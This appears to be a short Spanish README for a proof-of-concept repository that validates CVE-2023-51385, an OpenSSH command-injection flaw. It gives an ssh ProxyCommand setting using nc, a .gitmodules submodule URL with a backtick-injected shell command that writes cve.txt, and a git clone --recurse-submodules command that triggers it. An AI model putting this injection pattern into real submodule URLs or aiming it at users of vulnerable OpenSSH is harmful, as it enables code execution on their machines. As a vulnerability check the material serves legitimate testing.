
Una validación para CVE-2023-51385
Primero, necesitas agregar el siguiente contenido en ~/.ssh/config
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
Existe inyección de comandos en la declaración del archivo .gitmodules
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
Una vez configurado, ejecuta el siguiente comando para activarlo
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules
Si se ejecuta correctamente, se generará un archivo cve.txt en el directorio CVE-2023-51385_test

Nota: OpenSSH necesita <9.6p1
Más detalles en este blog: